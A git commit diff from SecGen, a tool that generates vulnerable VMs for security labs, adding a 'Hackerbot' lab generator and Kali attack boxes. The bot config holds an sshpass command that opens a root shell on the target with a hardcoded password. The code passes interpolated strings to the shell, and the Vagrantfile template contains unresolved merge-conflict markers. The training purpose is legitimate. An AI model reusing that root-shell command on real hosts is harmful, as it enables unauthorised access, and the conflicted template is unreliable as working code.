Hackerbot, labs, and associated changes

.gitignore

@@ -3,4 +3,5 @@ unusedcode
 .DS_Store
 .idea
 mount
-log
+log
+.directory

Gemfile

@@ -14,6 +14,9 @@ gem 'sshkey'
 gem 'zipruby'
 gem 'credy'
 gem 'pg'
+gem 'cinch'
+gem 'nori'
+gem 'programr', :git => "git://github.com/robertjwhitney/programr.git"
 
 #development only gems go here
 group :test, :development do

Gemfile.lock

@@ -1,3 +1,9 @@
+GIT
+  remote: git://github.com/robertjwhitney/programr.git
+  revision: f6e821f494983f6fdcca62e31e458a1e85f25400
+  specs:
+    programr (0.0.1)
+
 GEM
   remote: https://rubygems.org/
   specs:
@@ -5,6 +11,7 @@ GEM
     chunky_png (1.3.8)
     credy (0.2.1)
       thor (~> 0.19.1)
+    cinch (2.3.3)
     facter (2.4.6)
       CFPropertyList (~> 2.2.6)
     faker (1.6.6)
@@ -36,6 +43,7 @@ GEM
       mini_portile2 (~> 2.1.0)
       pkg-config (~> 1.1.7)
     pg (0.21.0)
+    nori (2.6.0)
     pkg-config (1.1.7)
     puppet (4.5.1)
       CFPropertyList (~> 2.2.6)
@@ -70,6 +78,7 @@ PLATFORMS
 
 DEPENDENCIES
   credy
+  cinch
   faker
   forgery
   librarian-puppet
@@ -77,6 +86,8 @@ DEPENDENCIES
   minitest
   nokogiri
   pg
+  nori
+  programr!
   puppet
   rake
   rdoc

README.md

@@ -3,9 +3,10 @@
 ## Summary
 SecGen creates vulnerable virtual machines so students can learn security penetration testing techniques. 
 
-Boxes like Metasploitable2 are always the same, this project uses Vagrant, Puppet, and Ruby to quickly create randomly vulnerable virtual machines that can be used for learning or for hosting CTF events. 
+Boxes like Metasploitable2 are always the same, this project uses Vagrant, Puppet, and Ruby to create randomly vulnerable virtual machines that can be used for learning or for hosting CTF events. 
+
+[The latest version is available at: http://github.com/cliffe/SecGen/](http://github.com/cliffe/SecGen/)
 
-[The latest version is available at: http://github.com/cliffe/SecGen/](http://github.com/cliffe/SecGen/) 
 ## Introduction
 Computer security students benefit from engaging in hacking challenges. Practical lab work and pre-configured hacking challenges are common practice both in security education and also as a pastime for security-minded individuals. Competitive hacking challenges, such as capture the flag (CTF) competitions have become a mainstay at industry conferences and are the focus of large online communities. Virtual machines (VMs) provide an effective way of sharing targets for hacking, and can be designed in order to test the skills of the attacker. Websites such as Vulnhub host pre-configured hacking challenge VMs and are a valuable resource for those learning and advancing their skills in computer security. However, developing these hacking challenges is time consuming, and once created, essentially static. That is, once the challenge has been "solved" there is no remaining challenge for the student, and if the challenge is created for a competition or assessment, the challenge cannot be reused without risking plagiarism, and collusion. 
 
@@ -22,31 +23,37 @@ SecGen contains modules, which install various software packages. Each SecGen mo
 SecGen is developed and tested on Ubuntu Linux. In theory, SecGen should run on Mac or Windows, if you have all the required software installed.
 
 You will need to install the following:
--  Ruby (development): https://www.ruby-lang.org/en/
+- Ruby (development): https://www.ruby-lang.org/en/
 - Vagrant: http://www.vagrantup.com/
 - Virtual Box: https://www.virtualbox.org/
 - Puppet: http://puppet.com/
-- Packer: https://www.packer.io/downloads.html  
+- Packer: https://www.packer.io/
 - ImageMagick: https://www.imagemagick.org/
 - And the required Ruby Gems (including Nokogiri and Librarian-puppet)
 
 ### On Ubuntu these commands will get you up and running
 Install all the required packages:
 ```bash
-sudo apt-get install ruby-dev zlib1g-dev liblzma-dev build-essential patch virtualbox ruby-bundler vagrant imagemagick libmagickwand-dev exiftool libpq-dev
+# install a recent version of vagrant
+wget https://releases.hashicorp.com/vagrant/1.9.8/vagrant_1.9.8_x86_64.deb
+sudo apt install ./vagrant_1.9.8_x86_64.deb
+# install other required packages via repos
+sudo apt-get install ruby-dev zlib1g-dev liblzma-dev build-essential patch virtualbox ruby-bundler imagemagick libmagickwand-dev exiftool libpq-dev
 ```
 
-Copy SecGen to a directory of your choosing, such as */home/user/bin/SecGen*, then:
+Copy SecGen to a directory of your choosing, such as */home/user/bin/SecGen*
+
+Then install gems:
 ```bash
 cd /home/user/bin/SecGen
 bundle install
 ```
 
-## Optional software requirements
-### EWF image creation
-To generate forensic images in the EWF image format FTK Imager command line is required.  
-Download link for FTK Imager command line: http://accessdata.com/product-download/  
-Note: The FTK Imager executable needs to be added to the PATH environment variable.
+### Optional software requirements
+To save yourself some time you can enable caching of downloaded packages. Simply install vagrant-cachier:
+```bash
+vagrant plugin install vagrant-cachier
+```
 
 ## Usage
 Basic usage:

lib/helpers/gem_exec.rb

@@ -8,8 +8,8 @@ class GemExec
   # @param [Object] gem_name -- such as 'vagrant', 'puppet', 'librarian-puppet'
   # @param [Object] working_dir -- the location for output
   # @param [Object] argument -- the command to send 'init', 'install'
-  def self.exe(gem_name, working_dir, argument)
-    Print.std "Loading #{gem_name} (#{argument}) in #{working_dir}"
+  def self.exe(gem_name, working_dir, arguments)
+    Print.std "Loading #{gem_name} (#{arguments}) in #{working_dir}"
 
     version = '>= 0'
     begin
@@ -37,7 +37,7 @@ class GemExec
 
     Dir.chdir(working_dir)
 
-    system gem_path, argument
+    system "#{gem_path} #{arguments}"
 
   end
 end

lib/objects/local_hackerbot_config_generator.rb

@@ -0,0 +1,114 @@
+#!/usr/bin/ruby
+require_relative 'local_string_generator.rb'
+require 'erb'
+require 'fileutils'
+require 'redcarpet'
+require 'nokogiri'
+
+class HackerbotConfigGenerator < StringGenerator
+  attr_accessor :accounts
+  attr_accessor :flags
+  attr_accessor :root_password
+  attr_accessor :html_rendered
+  attr_accessor :html_TOC_rendered
+  attr_accessor :title
+
+  attr_accessor :local_dir
+  attr_accessor :templates_path
+  attr_accessor :config_template_path
+  attr_accessor :html_template_path
+
+  def initialize
+    super
+    self.module_name = 'Hackerbot Config Generator'
+    self.title = ''
+    self.accounts = []
+    self.flags = []
+    self.root_password = ''
+    self.html_rendered = ''
+    self.html_TOC_rendered = ''
+
+    self.local_dir = File.expand_path('../../', __FILE__)
+    self.templates_path = "#{self.local_dir}/templates/"
+    self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb"
+    self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb"
+
+  end
+
+  def get_options_array
+    super + [['--root_password', GetoptLong::REQUIRED_ARGUMENT],
+             ['--accounts', GetoptLong::REQUIRED_ARGUMENT],
+             ['--flags', GetoptLong::REQUIRED_ARGUMENT]]
+  end
+
+  def process_options(opt, arg)
+    super
+    case opt
+      when '--root_password'
+        self.root_password << arg;
+      when '--accounts'
+        self.accounts << arg;
+      when '--flags'
+        self.flags << arg;
+    end
+  end
+
+  def generate_lab_sheet(xml_config)
+    lab_sheet = ''
+    begin
+      doc = Nokogiri::XML(xml_config)
+    rescue
+      Print.err "Failed to process hackerbot config"
+      exit
+    end
+    # remove xml namespaces for ease of processing
+    doc.remove_namespaces!
+    # for each element in the vulnerability
+    hackerbot = doc.xpath("/hackerbot")
+    name = hackerbot.xpath("name").first.content
+    lab_sheet += hackerbot.xpath("tutorial_info/tutorial").first.content + "\n"
+
+    doc.xpath("//attack").each_with_index do |attack, index|
+      attack.xpath("tutorial").each do |tutorial_snippet|
+        lab_sheet += tutorial_snippet.content + "\n"
+      end
+
+      lab_sheet += "#### #{name} Attack ##{index + 1}\n"
+      lab_sheet += "Use what you have learned to complete the bot's challenge. You can skip the bot to here, by saying '**goto #{index + 1}**'\n\n"
+      lab_sheet += "> #{name}: \"#{attack.xpath('prompt').first.content}\" \n\n"
+      lab_sheet += "Do any necessary preparation, then when you are ready for the bot to complete the action/attack, ==say 'ready'==\n\n"
+      if attack.xpath("quiz").size > 0
+        lab_sheet += "There is a quiz to complete. Once Hackerbot asks you the question you can =='answer *YOURANSWER*'==\n\n"
+      end
+      lab_sheet += "Don't forget to ==save and submit any flags!==\n\n"
+    end
+    lab_sheet += hackerbot.xpath("tutorial_info/footer").first.content + "\n"
+
+    lab_sheet
+  end
+
+  def generate
+
+    # Print.debug self.accounts.to_s
+    xml_template_out = ERB.new(File.read(self.config_template_path), 0, '<>-')
+    xml_config = xml_template_out.result(self.get_binding)
+
+    lab_sheet_markdown = generate_lab_sheet(xml_config)
+
+    redcarpet = Redcarpet::Markdown.new(Redcarpet::Render::HTML.new(prettify:true, hard_wrap: true, with_toc_data: true), footnotes: true, fenced_code_blocks: true, no_intra_emphasis: true, autolink: true, highlight: true, lax_spacing: true)
+    self.html_rendered = redcarpet.render(lab_sheet_markdown).force_encoding('UTF-8')
+    redcarpet_toc = Redcarpet::Markdown.new(Redcarpet::Render::HTML_TOC.new())
+    self.html_TOC_rendered = redcarpet_toc.render(lab_sheet_markdown).force_encoding('UTF-8')
+    html_template_out = ERB.new(File.read(self.html_template_path), 0, '<>-')
+    html_out = html_template_out.result(self.get_binding)
+
+    json = {'xml_config' => xml_config.force_encoding('UTF-8'), 'html_lab_sheet' => html_out.force_encoding('UTF-8')}.to_json.force_encoding('UTF-8')
+    self.outputs << json.to_s
+  end
+
+  # Returns binding for erb files (access to variables in this classes scope)
+  # @return binding
+  def get_binding
+    binding
+  end
+end

lib/objects/local_string_encoder.rb

@@ -104,7 +104,17 @@ class StringEncoder
 
     Print.local_verbose "Encoding '#{encoding_print_string}'"
     encode_all
-    Print.local_verbose "Encoded: #{self.outputs.to_s}"
+
+    # print the first 700 chars to screen
+    output = self.outputs.to_s
+    length = output.length
+    if length < 1000
+      Print.local_verbose "Encoded: #{output}..."
+    else
+      Print.local_verbose "Encoded: #{output.to_s[0..1000]}..."
+      Print.local_verbose "(Displaying 1000/#{length} length output)"
+    end
+
     puts has_base64_inputs ? base64_encode_outputs : self.outputs
   end
 

lib/objects/local_string_generator.rb

@@ -87,7 +87,17 @@ class StringGenerator
 
     Print.local_verbose "Generating..."
     generate
-    Print.local_verbose "Generated: #{self.outputs.to_s}"
+
+    # print the first 1000 chars to screen
+    output = self.outputs.to_s
+    length = output.length
+    if length < 1000
+      Print.local_verbose "Generated: #{output}..."
+    else
+      Print.local_verbose "Generated: #{output.to_s[0..1000]}..."
+      Print.local_verbose "(Displaying 1000/#{length} length output)"
+    end
+
     puts has_base64_inputs ? base64_encode_outputs : self.outputs
   end
 

lib/objects/system.rb

@@ -249,7 +249,9 @@ class System
           end
         end
         # execute calculation script and format output to an array of Base64 strings
-        outputs = `ruby #{selected.local_calc_file} #{args_string}`.chomp
+        command = "ruby #{selected.local_calc_file} #{args_string}"
+        Print.verbose "Running: #{command}"
+        outputs = `#{command}`.chomp
         output_array = outputs.split("\n")
         selected.output = output_array.map { |o| Base64.strict_decode64 o }
       end

lib/output/project_files_creator.rb

@@ -34,11 +34,26 @@ class ProjectFilesCreator
 
 # Generate all relevant files for the project
   def write_files
+    # when writing to a project that already contains a project, move everything out the way,
+    # and keep the Vagrant config, so that existing VMs can be re-provisioned/updated
+    if File.exists? "#{@out_dir}/Vagrantfile" or File.exists? "#{@out_dir}/puppet"
+      dest_dir = "#{@out_dir}/MOVED_#{Time.new.strftime("%Y%m%d_%H%M")}"
+      Print.warn "Project already built to this directory -- moving last build to: #{dest_dir}"
+      Dir.glob( "#{@out_dir}/**/*" ).select { |f| File.file?( f ) }.each do |f|
+        dest = "#{dest_dir}/#{f}"
+        FileUtils.mkdir_p( File.dirname( dest ) )
+        if f =~ /\.vagrant/
+          FileUtils.cp( f, dest )
+        else
+          FileUtils.mv( f, dest )
+        end
+      end
+    end
+
     FileUtils.mkpath "#{@out_dir}" unless File.exists?("#{@out_dir}")
     FileUtils.mkpath "#{@out_dir}/puppet/" unless File.exists?("#{@out_dir}/puppet/")
     FileUtils.mkpath "#{@out_dir}/environments/production/" unless File.exists?("#{@out_dir}/environments/production/")
 
-    threads = []
     # for each system, create a puppet modules directory using librarian-puppet
     @systems.each do |system|
       @currently_processing_system = system # for template access
@@ -108,11 +123,11 @@ class ProjectFilesCreator
     end
 
     # Create the marker xml file
-    x2file = "#{@out_dir}/marker.xml"
+    x2file = "#{@out_dir}/flag_hints.xml"
 
     xml_marker_generator = XmlMarkerGenerator.new(@systems, @scenario, @time)
     xml = xml_marker_generator.output
-    Print.std "Creating marker file: #{x2file}"
+    Print.std "Creating flags and hints file: #{x2file}"
     begin
       File.open(x2file, 'w+') do |file|
         file.write(xml)
@@ -121,6 +136,7 @@ class ProjectFilesCreator
       Print.err "Error writing file: #{e.message}"
       exit
     end
+    Print.std "VM(s) can be built using 'vagrant up' in #{@out_dir}"
 
   end
 
@@ -130,12 +146,12 @@ class ProjectFilesCreator
     template_out = ERB.new(File.read(template), 0, '<>-')
 
     begin
-      File.open(filename, 'w+') do |file|
+      File.open(filename, 'wb+') do |file|
         file.write(template_out.result(self.get_binding))
       end
     rescue StandardError => e
       Print.err "Error writing file: #{e.message}"
-      exit
+      Print.err e.backtrace.inspect
     end
   end
 

lib/resources/wordlists/mythical_creatures

@@ -0,0 +1,336 @@
+dropbear
+abaia
+abath
+adze
+aethoneagle
+afanc
+ahool
+akkorokamui
+ala
+alectryon
+alkonost
+allocamelus
+amalthea
+ammut
+anansi
+anemoi
+angel
+arachne
+ariel
+aries
+arion
+automaton
+azeban
+baku
+balrog
+barefrontedhoodwink
+basilisk
+bast
+behemoth
+bennu
+berserker
+bigfoot
+bugbear
+bunyip
+buraq
+caladrius
+callisto
+camazotz
+capricornus
+centaur
+cetan
+chamrosh
+chimera
+chiron
+cinnamonbird
+cipactli
+devil
+devilbird
+djinn
+dragon
+drake
+dwarf
+echidna
+elf
+emela-ntouka
+encantado
+ent
+familiar
+faun
+fionnuala
+firebird
+gandaberunda
+gargoyle
+gef
+giant
+giantpenguin
+gilledantelope
+goblin
+grootslang
+gunni
+haizum
+harpy
+heqet
+hibagon
+hobbit
+horus
+huitzilopochtli
+huorn
+hydra
+ichneumon
+ichthyocentaurs
+inugami
+ipotane
+isonade
+kamaitachi
+karkadann
+kasairex
+khepri
+khnum
+kongamato
+kraken
+kujata
+kun
+kurma
+lamia
+lavellan
+lindorm
+longma
+makara
+mapinguari
+mermaid
+merman
+minokawa
+minotaur
+mothman
+mujina
+naga
+namazu
+nandibear
+nandibull
+nekomata
+ngoubou
+ningyo
+nuckelavee
+nue
+olitiau
+onocentaur
+oozlumbird
+orc
+ouroboros
+owlman
+pabilsag
+panther
+peluda
+peryton
+phantomkangaroo
+pooka
+python
+qareen
+qilin
+qiqirn
+qliphoth
+quinotaur
+ra
+rabisu
+radande
+ragana
+rakshasa
+redcap
+reichsadler
+rephaite
+revenant
+riva
+rokurokubi
+rompo
+rougarou
+rusalka
+saci
+sacipererê
+sagari
+sakabashira
+samebito
+samodiva
+sampaati
+sandman
+sandwalker
+santelmo
+sânziană
+sarngika
+sarugami
+satori
+satyrus
+sceadugenga
+scitalis
+scylla
+sekhmet
+seko
+selket
+seps
+serpent
+serpopard
+shabti
+shachihoko
+shade
+shedim
+shellycoat
+shenlong
+shibaten
+shikigami
+shikome
+shinigami
+shirouneri
+shisa
+shishi
+shtriga
+shunoban
+sigbin
+sileni
+simargl
+singa
+sirrush
+sisiutl
+skookum
+skrzak
+skvader
+slenderman
+sluagh
+sobek
+soragami
+soucouyant
+spearfinger
+spectre
+spiriduş
+spriggan
+sprite
+squonk
+strigoi
+struthopodes
+strzyga
+suangi
+succubus
+sudice
+sunekosuri
+surma
+suzaku
+sylvan
+syrbotae
+tachash
+taimatsumaru
+takam
+tangie
+tantankororin
+tanuki
+taotie
+tapairu
+tartalo
+tartaruchi
+tatsu
+taurokampoi
+tavara
+taweret
+tecumbalam
+tennin
+tepegoz
+theriocephalus
+thoth
+tiangou
+tianlong
+tibicena
+tigmamanukan
+tigris
+tikoloshe
+timingila
+tipua
+titan
+tiyanak
+tizheruk
+tlahuelpuchi
+tokeloshe
+tomte
+topielec
+toyol
+trasgo
+trauco
+trenti
+tripurasura
+tritons
+trow
+tsuchigumo
+turehu
+turul
+typhon
+ubume
+uchchaihshravas
+undead
+undine
+unhcegila
+unktehi
+unktehila
+upinis
+urayuli
+urmahlullu
+ushioni
+utukku
+uwan
+valkyrie
+valravn
+varaha
+vedrfolnir
+veļi
+veo
+vetala
+vielfras
+vila
+vilkacis
+vodyanoy
+vrykolakas
+vulkodlak
+waldgeist
+wani
+wekufe
+wendigo
+werecat
+whitestag
+wirrycow
+wolpertinger
+wondjina
+wraith
+wulver
+wyrm
+xana
+xelhua
+yacumama
+yacuruna
+yaksha
+yakshi
+yakshini
+yale
+yali
+yallerybrown
+yalungur
+yanari
+yaoguai
+yatagarasu
+yeren
+yethhound
+yobuko
+yong
+yosuzume
+ypotryll
+yukinko
+yuxa
+zahhak
+zamzummim
+zaratan
+zburator
+zeus
+zhulong
+zin
+zlatorog
+zmeu
+zmiy
+zombie
+zorigami
+zu
+zuijin

lib/schemas/base_metadata_schema.xsd

@@ -41,6 +41,7 @@
             <xs:restriction base="xs:string">
               <xs:enumeration value="server"/>
               <xs:enumeration value="desktop"/>
+              <xs:enumeration value="attack"/>
               <xs:enumeration value="cli"/>
             </xs:restriction>
           </xs:simpleType>

lib/schemas/generator_metadata_schema.xsd

@@ -23,6 +23,7 @@
             <xs:restriction base="xs:string">
               <xs:enumeration value="MIT"/>
               <xs:enumeration value="Apache v2"/>
+              <xs:enumeration value="GPLv3"/>
             </xs:restriction>
           </xs:simpleType>
         </xs:element>

lib/schemas/utility_metadata_schema.xsd

@@ -23,6 +23,7 @@
             <xs:restriction base="xs:string">
               <xs:enumeration value="MIT"/>
               <xs:enumeration value="Apache v2"/>
+              <xs:enumeration value="GPLv3"/>
             </xs:restriction>
           </xs:simpleType>
         </xs:element>

lib/templates/Vagrantfile.erb

@@ -5,8 +5,10 @@
 # <%= @time %>
 # Based on <%= @scenario %>
 <% require 'json'
-   require 'base64' -%>
+   require 'base64'
+   require 'securerandom' -%>
 <% prefix = @options[:prefix] ? @options[:prefix] + '_' : ''-%>
+
 VAGRANTFILE_API_VERSION = "2"
 
 Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
@@ -90,6 +92,14 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
     end -%>
     end
 <% end %>
+
+    # Optimise package caching (re-use downloaded .deb, ruby gems, etc)
+#    if Vagrant.has_plugin?("vagrant-cachier")
+      # Configure cached packages to be shared between instances of the same base box.
+      # More info on http://fgrehm.viewdocs.io/vagrant-cachier/usage
+#      config.cache.scope = :box
+#    end
+
     # SecGen datastore
     # <%= JSON.generate($datastore) %>
 
@@ -115,11 +125,15 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
     <% end %>
 <%   when 'network' -%>
 <%     if selected_module.attributes['range'].first.nil? || selected_module.attributes['range'].first == "dhcp" -%>
+<<<<<<< HEAD
   <%       if (@options.has_key? :ovirtnetwork) && (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass)  %>
       <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>'
   <%       else %>
       <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp"
   <%       end %>
+=======
+    <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp", auto_config: false
+>>>>>>> IRI_labs
 <%     else -%>
   <%       if (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) %>
       <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, :ovirt__ip => "<%= resolve_network(selected_module.attributes['range'].first)%>", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>'
@@ -132,9 +146,18 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
     <%= system.name %>.vm.provision "puppet" do | <%=module_name%> |
 <%     # if there are facter variables to define
       if selected_module.received_inputs != {} -%>
-      <% json_inputs = JSON.generate(selected_module.received_inputs) -%>
+      <% json_inputs = JSON.generate(selected_module.received_inputs)
+         b64_json_inputs = Base64.strict_encode64(json_inputs)
+         # save the inputs in a randomly named file in the
+         #   project out directory of the secgen_functions module
+         rand = SecureRandom.hex().to_s
+         dir = "#{@out_dir}/puppet/#{system.name}/modules/secgen_functions/files/json_inputs"
+         FileUtils.mkdir_p(dir) unless File.exists?(dir)
+         Print.verbose "Writing #{selected_module.module_path_name} input to: #{dir}/#{rand}"
+         File.write("#{dir}/#{rand}", b64_json_inputs)
+      -%>
 <%=   module_name%>.facter = {
-        "base64_inputs" => '<%= Base64.strict_encode64(json_inputs)%>'
+        "base64_inputs_file" => '<%= rand %>',
       }
 <%    end -%>
       <%=module_name%>.module_path = "<%="puppet/#{system.name}/modules"%>"

modules/bases/debian_puppet_32/secgen_metadata.xml

@@ -3,11 +3,11 @@
 <base xmlns="http://www.github/cliffe/SecGen/base"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://www.github/cliffe/SecGen/base">
-  <name>Debian 32bit with Puppet</name>
+  <name>Debian 7 Wheezy Server</name>
   <author>Z. Cliffe Schreuders</author>
   <module_license>GPLv3</module_license>
   <description>Based on the Official Puppet Vagrant box. Debian 7.8 (wheezy) 32-bit (i386), Puppet 4.3.2 / Puppet Enterprise 2015.3.2 (agent).
-    This is the primary base box used during development.</description>
+    This is the primary base box used during development. For testing purposes, the default root password is puppet.</description>
   <cpu_word_size>32-bit</cpu_word_size>
   <type>server</type>
   <type>cli</type>
@@ -15,11 +15,10 @@
   <platform>linux</platform>
   <platform>unix</platform>
   <distro>Debian 7.8 (wheezy) 32-bit (i386)</distro>
-  <url>http://atlas.hashicorp.com/puppetlabs/boxes/debian-7.8-32-puppet/versions/1.0.4/providers/virtualbox.box</url>
+  <url>https://app.vagrantup.com/secgen/boxes/debian_wheezy_puppet/versions/1.0.0/providers/virtualbox.box</url>
 
   <reference>https://atlas.hashicorp.com/puppetlabs</reference>
   <software_license>various</software_license>
 
   <ovirt_template>debian_server</ovirt_template>
-
-</base>
+</base>

modules/bases/debian_wheezy_desktop_kde/secgen_metadata.xml

@@ -0,0 +1,23 @@
+<?xml version="1.0"?>
+
+<base xmlns="http://www.github/cliffe/SecGen/base"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://www.github/cliffe/SecGen/base">
+  <name>Debian 7 Wheezy Desktop KDE</name>
+  <author>Z. Cliffe Schreuders</author>
+  <module_license>GPLv3</module_license>
+  <description>Based on the Official Puppet Vagrant box. Debian 7.8 (wheezy) 32-bit (i386), Puppet 4.3.2 / Puppet Enterprise 2015.3.2 (agent).
+    Plus KDE and some useful tools. 
+    For testing purposes, the default root password is puppet.</description>
+  <cpu_word_size>32-bit</cpu_word_size>
+  <type>desktop</type>
+
+  <platform>linux</platform>
+  <platform>unix</platform>
+  <distro>Debian 7.8 (wheezy) 32-bit (i386)</distro>
+  <url>https://app.vagrantup.com/secgen/boxes/debian_wheezy_kde_puppet/versions/1.0.0/providers/virtualbox.box</url>
+
+  <reference>https://atlas.hashicorp.com/puppetlabs</reference>
+  <software_license>various</software_license>
+
+</base>

modules/bases/kali_light/secgen_metadata.xml

@@ -0,0 +1,22 @@
+<?xml version="1.0"?>
+
+<base xmlns="http://www.github/cliffe/SecGen/base"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://www.github/cliffe/SecGen/base">
+  <name>Kali Light, XFCE and Puppet</name>
+  <author>Z. Cliffe Schreuders</author>
+  <module_license>GPLv3</module_license>
+  <description>Kali Light 2017.1 XFCE minimal install, with puppet.</description>
+  <cpu_word_size>64-bit</cpu_word_size>
+  <type>attack</type>
+  <type>desktop</type>
+
+  <platform>linux</platform>
+  <platform>unix</platform>
+  <distro>Kali Linux 2017.1</distro>
+  <url>https://app.vagrantup.com/cliffe/boxes/kali-light/versions/1.0.0/providers/virtualbox.box</url>
+
+  <reference>https://app.vagrantup.com/cliffe</reference>
+  <software_license>various</software_license>
+
+</base>

modules/bases/kali_light_msf/secgen_metadata.xml

@@ -0,0 +1,22 @@
+<?xml version="1.0"?>
+
+<base xmlns="http://www.github/cliffe/SecGen/base"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://www.github/cliffe/SecGen/base">
+  <name>Kali Light, MSF, XFCE and Puppet</name>
+  <author>Z. Cliffe Schreuders</author>
+  <module_license>GPLv3</module_license>
+  <description>Kali Light 2017.1 XFCE minimal install, with metasploit framework and puppet.</description>
+  <cpu_word_size>64-bit</cpu_word_size>
+  <type>attack</type>
+  <type>desktop</type>
+
+  <platform>linux</platform>
+  <platform>unix</platform>
+  <distro>Kali Linux 2017.1</distro>
+  <url>https://app.vagrantup.com/secgen/boxes/kali_lite_msf_puppet/versions/1.0.1/providers/virtualbox.box</url>
+
+  <reference>https://app.vagrantup.com/cliffe</reference>
+  <software_license>various</software_license>
+
+</base>

modules/build/puppet/secgen_functions/functions/get_parameters.pp

@@ -0,0 +1,6 @@
+function secgen_functions::get_parameters($base64_inputs_file) {
+  $b64_inputs = file("secgen_functions/json_inputs/$base64_inputs_file")
+  $json_inputs = base64('decode', $b64_inputs)
+  $secgen_parameters = parsejson($json_inputs)
+  $secgen_parameters
+}

modules/build/puppet/secgen_functions/manifests/leak_file.pp

@@ -1,6 +1,16 @@
 define secgen_functions::leak_file($leaked_filename, $storage_directory, $strings_to_leak, $owner = 'root', $group = 'root', $mode = '0660', $leaked_from = '' ) {
   if ($leaked_filename != ''){
     $path_to_leak = "$storage_directory/$leaked_filename"
+    # notice("path_to_leak = $path_to_leak")
+    # notice("storage_directory = $storage_directory")
+    # notice("strings_to_leak = $strings_to_leak")
+
+    # create the directory tree, incase the file name has extra layers of directories
+    exec { "$leaked_from-$path_to_leak":
+      path    => ['/bin', '/usr/bin', '/usr/local/bin', '/sbin', '/usr/sbin'],
+      command => "mkdir -p `dirname $path_to_leak`;chown $owner. `dirname $path_to_leak`",
+      provider => shell,
+    }
 
     # If the file already exists append to it, otherwise create it.
     if (defined(File[$path_to_leak])){

modules/build/puppet/secgen_functions/secgen_metadata.xml

@@ -6,7 +6,7 @@
   <name>SecGen Puppet Functions</name>
   <author>Thomas Shaw</author>
   <module_license>MIT</module_license>
-  <description>SecGen functions module encapuslates commonly used functions within secgen (e.g. leaking files,
+  <description>SecGen functions module encapsulates commonly used functions within secgen (e.g. leaking files,
     overshare, flags etc.) into puppet resource statements.
   </description>
 

modules/build/unix/cleanup/manifests/init.pp

@@ -1,6 +1,5 @@
 class cleanup::init {
-  $json_inputs = base64('decode', $::base64_inputs)
-  $secgen_params = parsejson($json_inputs)
+  $secgen_params = secgen_functions::get_parameters($::base64_inputs_file)
   $remove_history = str2bool($secgen_params['remove_history'][0])
   $root_password = $secgen_params['root_password'][0]
   $clobber_file_times = str2bool($secgen_params['clobber_file_times'][0])

modules/generators/random/random_word/secgen_local/local.rb

@@ -2,13 +2,28 @@
 require_relative '../../../../../lib/objects/local_string_generator.rb'
 
 class WordGenerator < StringGenerator
+  attr_accessor :wordlist
+
   def initialize
     super
+    self.wordlist = []
     self.module_name = 'Random Word Generator'
   end
 
+  def get_options_array
+    super + [['--wordlist', GetoptLong::OPTIONAL_ARGUMENT]]
+  end
+
+  def process_options(opt, arg)
+    super
+    case opt
+      when '--wordlist'
+        self.wordlist << arg;
+    end
+  end
+
   def generate
-    self.outputs << File.readlines("#{WORDLISTS_DIR}/wordlist").sample.chomp
+    self.outputs << File.readlines("#{WORDLISTS_DIR}/#{self.wordlist.sample.chomp}").sample.chomp
   end
 end
 

modules/generators/random/random_word/secgen_metadata.xml

@@ -17,6 +17,11 @@
   <reference>https://github.com/sophsec/wordlist</reference>
   <reference>http://wordlist.sourceforge.net/</reference>
 
+  <read_fact>wordlist</read_fact>
+  <default_input into="wordlist">
+    <value>wordlist</value>
+  </default_input>
+
   <output_type>generated_strings</output_type>
   
 </generator>

modules/generators/structured_content/hackerbot_config/example_bot/files/example_bot.xml

@@ -0,0 +1,83 @@
+<?xml version="1.0"?>
+
+<hackerbot xmlns="http://www.github/cliffe/SecGen/hackerbotz"
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xsi:schemaLocation="http://www.github/cliffe/SecGen/hackerbot">
+
+	<name>Bob</name>
+
+	<AIML_chatbot_rules>config/AIML</AIML_chatbot_rules>
+
+	<!--Method for gaining shell access, can be overwritten per-attack-->
+	<!--<get_shell>bash</get_shell>-->
+	<get_shell>sshpass -p randompassword ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash</get_shell>
+
+	<messages>
+		<greeting>Hi there. Just to introduce myself, I also work here.</greeting>
+
+		<!--Must provide alternatives for each message-->
+		<say_ready>Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along</say_ready>
+		<say_ready>When you are ready, simply say 'ready'.</say_ready>
+		<say_ready>'Ready'?</say_ready>
+		<say_ready>Better hurry, the attack is imminent... Let me know when you're 'ready'.</say_ready>
+		<next>Ok, I'll do what I can to move things along...</next>
+		<next>Moving things along to the next attack...</next>
+		<next>Ok, next attack...</next>
+		<previous>Ok, I'll do what I can to back things up...</previous>
+		<previous>Ok, previous attack...</previous>
+		<previous>Ok, backing up.</previous>
+		<goto>Ok, skiping it along.</goto>
+		<goto>Let me see what I can do to goto that attack.</goto>
+		<last_attack>That was the last attack for now. You can rest easy, until next time... (End.)</last_attack>
+		<last_attack>That was the last attack. Game over?</last_attack>
+		<first_attack>You are back to the beginning!</first_attack>
+		<first_attack>This is where it all began.</first_attack>
+		<getting_shell>Ok. Gaining shell access, and running post command...</getting_shell>
+		<getting_shell>Hacking in progress...</getting_shell>
+		<getting_shell>Attack underway...</getting_shell>
+		<getting_shell>Here we go...</getting_shell>
+		<got_shell>We are in to your system.</got_shell>
+		<got_shell>You are pwned.</got_shell>
+		<got_shell>We have shell.</got_shell>
